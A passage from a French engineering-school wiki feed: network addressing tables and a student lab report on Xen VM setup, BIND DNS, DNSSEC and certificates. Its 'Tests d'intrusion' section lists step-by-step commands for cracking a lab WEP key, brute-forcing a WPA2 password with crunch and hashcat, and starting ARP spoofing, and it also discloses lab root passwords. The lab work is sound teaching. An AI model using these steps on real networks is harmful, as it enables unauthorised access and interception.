| 2001:660:4401:60ba::0/64&lt;br /&gt;
| 48&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP8&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 309&lt;br /&gt;
| 10.60.109.0/24&lt;br /&gt;
| 10.60.109.1&lt;br /&gt;
| 10.60.109.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.109.254&lt;br /&gt;
| 2001:660:4401:60bb::0/64&lt;br /&gt;
| 49&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP9&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 10&lt;br /&gt;
| pleurote.site&lt;br /&gt;
| 310&lt;br /&gt;
| 10.60.110.0/24&lt;br /&gt;
| 10.60.110.1&lt;br /&gt;
| 10.60.110.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.110.254&lt;br /&gt;
| 2001:660:4401:60bc::0/64&lt;br /&gt;
| 50&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP10&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 11&lt;br /&gt;
| stropharia.site&lt;br /&gt;
| 311&lt;br /&gt;
| 10.60.111.0/24&lt;br /&gt;
| 10.60.111.1&lt;br /&gt;
| 10.60.111.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.111.254&lt;br /&gt;
| 2001:660:4401:60bd::0/64&lt;br /&gt;
| 51&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP11&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 12&lt;br /&gt;
| truffe.site&lt;br /&gt;
| 312&lt;br /&gt;
| 10.60.112.0/24&lt;br /&gt;
| 10.60.112.1&lt;br /&gt;
| 10.60.112.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.112.254&lt;br /&gt;
| 2001:660:4401:60be::0/64&lt;br /&gt;
| 52&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP12&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 14&lt;br /&gt;
| oronge.site&lt;br /&gt;
| 314&lt;br /&gt;
| 10.60.114.0/24&lt;br /&gt;
| 10.60.114.1&lt;br /&gt;
| 10.60.114.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.114.254&lt;br /&gt;
| 2001:660:4401:60bf::0/64&lt;br /&gt;
| 54&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP14&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Installation du réseau ==&lt;br /&gt;
&lt;br /&gt;
=== Branchement du matériel ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Global_scheme_PRA_2020.png|600px|center|Schéma de câblage]]&lt;br /&gt;
&lt;br /&gt;
=== Connexions entre équipements ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port&lt;br /&gt;
|-&lt;br /&gt;
| 6509-E&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Te5/4&lt;br /&gt;
|-&lt;br /&gt;
| 9200&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Te1/1/1&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port&lt;br /&gt;
|-&lt;br /&gt;
| 6509-E&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Te6/5&lt;br /&gt;
|-&lt;br /&gt;
| ISR 4331&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Ge0/0/2&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port !! VLAN !! IP&lt;br /&gt;
|-&lt;br /&gt;
| 6509-E&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Te5/5&lt;br /&gt;
| 333&lt;br /&gt;
| 100.64.0.1/24&lt;br /&gt;
|-&lt;br /&gt;
| CAPBRETON&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Eth5&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port !! VLAN !! IP&lt;br /&gt;
|-&lt;br /&gt;
| 6509-E&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Te6/4&lt;br /&gt;
| 131&lt;br /&gt;
| 192.168.222.12/29&lt;br /&gt;
|-&lt;br /&gt;
| ECOLE&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port !! VLAN !! IP&lt;br /&gt;
|-&lt;br /&gt;
| 9200&lt;br /&gt;
| Fibre 1G&lt;br /&gt;
| Te1/1/3&lt;br /&gt;
| 333&lt;br /&gt;
| 100.64.0.2/24&lt;br /&gt;
|-&lt;br /&gt;
| CAPBRETON&lt;br /&gt;
| Cuivre&lt;br /&gt;
| Eth4&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port&lt;br /&gt;
|-&lt;br /&gt;
| 9200&lt;br /&gt;
| Cuivre&lt;br /&gt;
| Gi1/0/2&lt;br /&gt;
|-&lt;br /&gt;
| ISR 4331&lt;br /&gt;
| Cuivre&lt;br /&gt;
| Ge0/0/0&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port !! VLAN !! IP&lt;br /&gt;
|-&lt;br /&gt;
| 9200&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Gi1/0/1&lt;br /&gt;
| 131&lt;br /&gt;
| 192.168.222.13/29&lt;br /&gt;
|-&lt;br /&gt;
| ECOLE&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port !! VLAN !! IP&lt;br /&gt;
|-&lt;br /&gt;
| ISR 4331&lt;br /&gt;
| Cuivre&lt;br /&gt;
| Gi1/0/2&lt;br /&gt;
| 531&lt;br /&gt;
| 213.215.6.102&lt;br /&gt;
|-&lt;br /&gt;
| SDSL&lt;br /&gt;
| Cuivre&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== ASR ===&lt;br /&gt;
&lt;br /&gt;
==Plan d'adressage==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Adresse VLAN50 Capbeton !! Adresse VLAN50 Chassiron !! Port d'attaque du serveur web !! Groupe&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 14&lt;br /&gt;
| oronge.site&lt;br /&gt;
| 192.168.42.14&lt;br /&gt;
| 192.168.42.28&lt;br /&gt;
| 8094&lt;br /&gt;
| 1&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 12&lt;br /&gt;
| truffe.site&lt;br /&gt;
| 192.168.42.12&lt;br /&gt;
| 192.168.42.26&lt;br /&gt;
| 8092&lt;br /&gt;
| 2&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 11&lt;br /&gt;
| stropharia.site&lt;br /&gt;
| 192.168.42.11&lt;br /&gt;
| 192.168.42.25&lt;br /&gt;
| 8091&lt;br /&gt;
| 1&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 10&lt;br /&gt;
| pleurote.site&lt;br /&gt;
| 192.168.42.10&lt;br /&gt;
| 192.168.42.24&lt;br /&gt;
| 8090&lt;br /&gt;
| 1&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 192.168.42.9&lt;br /&gt;
| 192.168.42.23&lt;br /&gt;
| 8089&lt;br /&gt;
| 2&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 8&lt;br /&gt;
| piedbleu.site&lt;br /&gt;
| 192.168.42.8&lt;br /&gt;
| 192.168.42.22&lt;br /&gt;
| 8088&lt;br /&gt;
| 1&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 7&lt;br /&gt;
| girolle.site&lt;br /&gt;
| 192.168.42.7&lt;br /&gt;
| 192.168.42.21&lt;br /&gt;
| 8087&lt;br /&gt;
| 2&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 6&lt;br /&gt;
| morillon.website&lt;br /&gt;
| 192.168.42.6&lt;br /&gt;
| 192.168.42.20&lt;br /&gt;
| 8086&lt;br /&gt;
| 2&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| 192.168.42.5&lt;br /&gt;
| 192.168.42.19&lt;br /&gt;
| 8085&lt;br /&gt;
| 2&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 4&lt;br /&gt;
| tricholome.site&lt;br /&gt;
| 192.168.42.4&lt;br /&gt;
| 192.168.42.18&lt;br /&gt;
| 8084&lt;br /&gt;
| 2&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 3&lt;br /&gt;
| clavaire.site&lt;br /&gt;
| 192.168.42.3&lt;br /&gt;
| 192.168.42.17&lt;br /&gt;
| 8083&lt;br /&gt;
| 1&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 2&lt;br /&gt;
| ophiocordyceps.site&lt;br /&gt;
| 192.168.42.2&lt;br /&gt;
| 192.168.42.16&lt;br /&gt;
| 8082&lt;br /&gt;
| 2&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 1&lt;br /&gt;
| trompettedelamort.site&lt;br /&gt;
| 192.168.42.1&lt;br /&gt;
| 192.168.42.15&lt;br /&gt;
| 8081&lt;br /&gt;
| 1&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54863</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54863"/>
				<updated>2020-12-17T14:35:39Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Partie 7 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
